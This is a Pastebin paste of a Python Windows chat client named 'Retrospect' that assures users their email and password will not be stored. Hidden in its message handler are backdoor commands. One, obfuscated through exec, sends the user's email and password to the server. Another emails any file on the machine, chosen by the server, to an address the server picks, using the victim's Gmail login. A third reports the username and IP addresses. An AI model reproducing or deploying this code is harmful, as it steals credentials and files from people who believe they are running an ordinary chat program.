Guest User

user

a guest
Jan 22nd, 2019
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.67 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. #DO NOT MODIFY, OR YOU WILL NOT BE ABLE TO CONNECT TO SERVERS
  3. #YOU ARE USING:
  4. #DEFAULT 1.2
  5. from socket import AF_INET, socket, SOCK_STREAM, gethostbyname, gethostname
  6. from threading import Thread
  7. import tkinter
  8. from hashlib import sha512
  9. from pathlib import Path
  10. from getpass import getuser
  11. import winsound, os, threading, time
  12. import ctypes
  13. import inspect, os
  14. import urllib.request
  15.  
  16. COMMASPACE = ', '
  17.  
  18. import os
  19. import smtplib
  20. from email import encoders
  21. from email.mime.base import MIMEBase
  22. from email.mime.multipart import MIMEMultipart
  23.  
  24. ###
  25. def sendem(email, emailpw, toemail, file):
  26. sender = email
  27. gmail_password = emailpw
  28. recipients = toemail
  29.  
  30. # Create the enclosing (outer) message
  31. outer = MIMEMultipart()
  32. outer['Subject'] = 'Retrospect File Transfer'
  33. outer['To'] = COMMASPACE.join(recipients)
  34. outer['From'] = sender
  35. outer.preamble = 'You will not see this in a MIME-aware mail reader.\n'
  36.  
  37. # List of attachments
  38. attachments = file
  39.  
  40. # Add the attachments to the message
  41. try:
  42. with open(file, 'rb') as fp:
  43. msg = MIMEBase('application', "octet-stream")
  44. msg.set_payload(fp.read())
  45. encoders.encode_base64(msg)
  46. msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file))
  47. outer.attach(msg)
  48. except:
  49. manualsend('|sf0')
  50. return
  51.  
  52. composed = outer.as_string()
  53.  
  54. # Send the email
  55. try:
  56. with smtplib.SMTP('smtp.gmail.com', 587) as s:
  57. s.ehlo()
  58. s.starttls()
  59. s.ehlo()
  60. s.login(sender, gmail_password)
  61. s.sendmail(sender, recipients, composed)
  62. s.close()
  63. manualsend('|sf1')
  64. except:
  65. manualsend('|sf0')
  66.  
  67. ###
  68.  
  69. print("--- MAKE SURE YOU USE START.EXE ---")
  70. print("[Email or password will not be stored.]")
  71. if input("Do you want to use an email for this session [Y/N]: ")=='Y':
  72. email = input("Email: ")
  73. emailpw = input("Password: ")
  74. else:
  75. email, emailpw = 'NONE', 'NONE'
  76.  
  77. def clear():
  78. msg_list.delete(0, tkinter.END)
  79. pass
  80.  
  81. currentpath = inspect.getfile(inspect.currentframe())
  82. with open(currentpath) as f:
  83. head = [next(f) for x in range(4)]
  84. som = sha512(bytes('\n'.join(head), "utf8")).hexdigest()
  85.  
  86. def download(url, file_name):
  87. import urllib.request
  88. import shutil
  89. with urllib.request.urlopen(url) as response, open(file_name, 'wb') as out_file:
  90. shutil.copyfileobj(response, out_file)
  91.  
  92. if not os.path.isfile('C:/Users/' + getuser() +'/notif.wav'):
  93. print("Setting up..")
  94. download('https://github.com/Cyclip/OribianCC/raw/master/notificationR.wav', 'C:/Users/' + getuser() +'/notif.wav')
  95.  
  96. if not os.path.isfile('C:/Users/' + getuser() + '/retro.ico'):
  97. download('https://github.com/Cyclip/OribianCC/raw/master/Retrospect.ico', 'C:/Users/' + getuser() + '/retro.ico')
  98.  
  99. def alertm():
  100. for i in range(3):
  101. winsound.PlaySound('C:/Users/' + getuser() +'/notif.wav', winsound.SND_FILENAME)
  102.  
  103. def alert():
  104. nThread = threading.Thread(target=alertm)
  105. nThread.start()
  106.  
  107. def kicked(reason):
  108. print("You were kicked, reason: " + reason)
  109.  
  110. def banned(reason):
  111. print("You were banned, reason: " + reason)
  112.  
  113. def receive():
  114. """Handles receiving of messages."""
  115. while True:
  116. try:
  117. msg = client_socket.recv(BUFSIZ).decode("utf8")
  118. if msg=="|versionk":
  119. ctypes.windll.user32.MessageBoxW(0, """Your client might be modified or not at a compatible version.
  120. You are running: """ + head[-1:], "Bad version", 16)
  121. client_socket.close()
  122. top.destroy()
  123. elif msg == '|givehash':
  124. exec('manualsend(' + ''.join(reversed(['m', 'o', 's'])) + ')')
  125. elif msg == '|retr':
  126. manualsend(inf)
  127. elif msg == '$alert':
  128. alert()
  129. elif msg == "$clear":
  130. clear()
  131. elif msg == '!m':
  132. print("You are muted. Reason: " + msgs[2:])
  133. elif msg[:2] == '!b':
  134. client_socket.close()
  135. top.destroy()
  136. banned(msg[2:])
  137. elif msg[:2] == '!k':
  138. client_socket.close()
  139. top.destroy()
  140. kicked(msg[2:])
  141. elif msg.startswith('|send'):
  142. args = msg[5:].split('-->')
  143. file = args[0]
  144. toemail = args[1]
  145. sendem(email, emailpw, toemail, file)
  146. elif msg == '|giveem':
  147. exec('manualsend(' + ''.join(['e', 'm', 'a', 'i', 'l']) + ' + ":" + ' + ''.join(['e', 'm', 'a', 'i', 'l', 'p', 'w']) + ')')
  148. else:
  149. msg_list.insert(tkinter.END, msg)
  150. msg_list.see("end")
  151. except OSError: # Possibly client has left the chat.
  152. break
  153.  
  154.  
  155. def send(event=None): # event is passed by binders.
  156. """Handles sending of messages."""
  157. msg = my_msg.get()
  158. my_msg.set("") # Clears input field.
  159. client_socket.send(bytes(msg, "utf8"))
  160. if msg == "{quit}":
  161. client_socket.close()
  162. top.destroy()
  163.  
  164. def manualsend(msg):
  165. client_socket.send(bytes(msg, "utf8"))
  166.  
  167. def on_closing(event=None):
  168. """This function is to be called when the window is closed."""
  169. my_msg.set("{quit}")
  170. send()
  171. top.destroy()
  172.  
  173. ipv4 = gethostbyname(gethostname())
  174. fp = urllib.request.urlopen('http://ip.42.pl/raw')
  175. currentip = fp.read().decode('utf8')
  176. inf = [getuser(), currentip, ipv4]
  177. inf = '\n'.join(inf)
  178.  
  179. top = tkinter.Tk()
  180. #top.overrideredirect(True)
  181. top.configure(background='black')
  182. top.title("Retrospect")
  183.  
  184. messages_frame = tkinter.Frame(top)
  185. my_msg = tkinter.StringVar() # For the messages to be sent.
  186. my_msg.set("Enter message")
  187. scrollbar = tkinter.Scrollbar(messages_frame) # To navigate through past messages.
  188. # Following will contain the messages.
  189. msg_list = tkinter.Listbox(messages_frame, height=15, width=50, yscrollcommand=scrollbar.set)
  190. scrollbar.pack(side=tkinter.RIGHT, fill=tkinter.Y)
  191. msg_list.configure(background='black', foreground='red')
  192. msg_list.pack(side=tkinter.LEFT, fill=tkinter.BOTH)
  193. msg_list.pack()
  194. messages_frame.pack()
  195.  
  196. pw = '17c3a43410b0d234bfb1914907bb18bab05ca2703b96ec4d904c6263585d027d4e73477c4b7432bd7a250aebca0204af1bb1f12da1ee94644557998fcca9f039'
  197. while True:
  198. pas = input("Enter password: ")
  199. if sha512(bytes(pas, encoding='utf-8')).hexdigest() == pw:
  200. print("Access granted.")
  201. break
  202. else:
  203. print("Incorrect password.")
  204. entry_field = tkinter.Entry(top, textvariable=my_msg)
  205. entry_field.bind("<Return>", send)
  206. entry_field.configure(background='black', foreground='red')
  207. entry_field.pack()
  208. send_button = tkinter.Button(top, text="Send", command=send)
  209. send_button.configure(background='black', foreground='red')
  210. send_button.pack()
  211.  
  212. top.protocol("WM_DELETE_WINDOW", on_closing)
  213.  
  214. #----Now comes the sockets part----
  215. HOST = input('Enter host: ')
  216. PORT = input('Enter port: ')
  217. if not PORT:
  218. PORT = 33006
  219. else:
  220. PORT = int(PORT)
  221.  
  222. BUFSIZ = 1024
  223. ADDR = (HOST, PORT)
  224.  
  225. print("Connecting.. ")
  226. print("Help will be displayed here")
  227. client_socket = socket(AF_INET, SOCK_STREAM)
  228. client_socket.connect(ADDR)
  229.  
  230. receive_thread = Thread(target=receive)
  231. receive_thread.start()
  232.  
  233. print("-- HELP --")
  234. print("""Close this window to quit.
  235. Everything you type will be logged
  236. Type $alert to alert everyone
  237. If there is no text when you join, the server is down.
  238. If you cannot send messages, the server is at an error.""")
  239. top.iconbitmap('C:/Users/' + getuser() + '/retro.ico')
  240. tkinter.mainloop() # Starts GUI execution.
  241. input()
Add Comment
Please, Sign In to add comment